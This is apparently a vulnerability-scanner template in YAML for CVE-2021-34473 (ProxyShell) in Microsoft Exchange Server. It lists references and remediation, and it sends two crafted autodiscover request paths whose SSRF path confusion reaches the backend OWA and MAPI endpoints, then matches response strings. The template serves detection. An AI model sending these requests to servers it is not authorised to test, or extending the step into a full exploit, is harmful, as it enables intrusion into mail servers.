id: CVE-2021-34473 info: name: Exchange Server - Remote Code Execution author: arcc,intx0x80,dwisiswant0,r3dg33k severity: critical description: | Microsoft Exchange Server is vulnerable to a remote code execution vulnerability. This CVE ID is unique from CVE-2021-31196, CVE-2021-31206. reference: - https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34473 - https://blog.orange.tw/2021/08/proxylogon-a-new-attack-surface-on-ms-exchange-part-1.html - https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1 - https://nvd.nist.gov/vuln/detail/CVE-2021-34473 remediation: Apply Microsoft Exchange Server 2019 Cumulative Update 9 or upgrade to the latest version. classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2021-34473 tags: cve,cve2021,ssrf,rce,exchange,cisa requests: - method: GET path: - '{{BaseURL}}/autodiscover/autodiscover.json?@test.com/owa/?&Email=autodiscover/autodiscover.json%3F@test.com' - '{{BaseURL}}/autodiscover/autodiscover.json?@test.com/mapi/nspi/?&Email=autodiscover/autodiscover.json%3F@test.com' matchers: - type: word part: body condition: or words: - "Microsoft.Exchange.Clients.Owa2.Server.Core.OwaADUserNotFoundException" - "Exchange MAPI/HTTP Connectivity Endpoint" # Enhanced by mp on 2022/05/02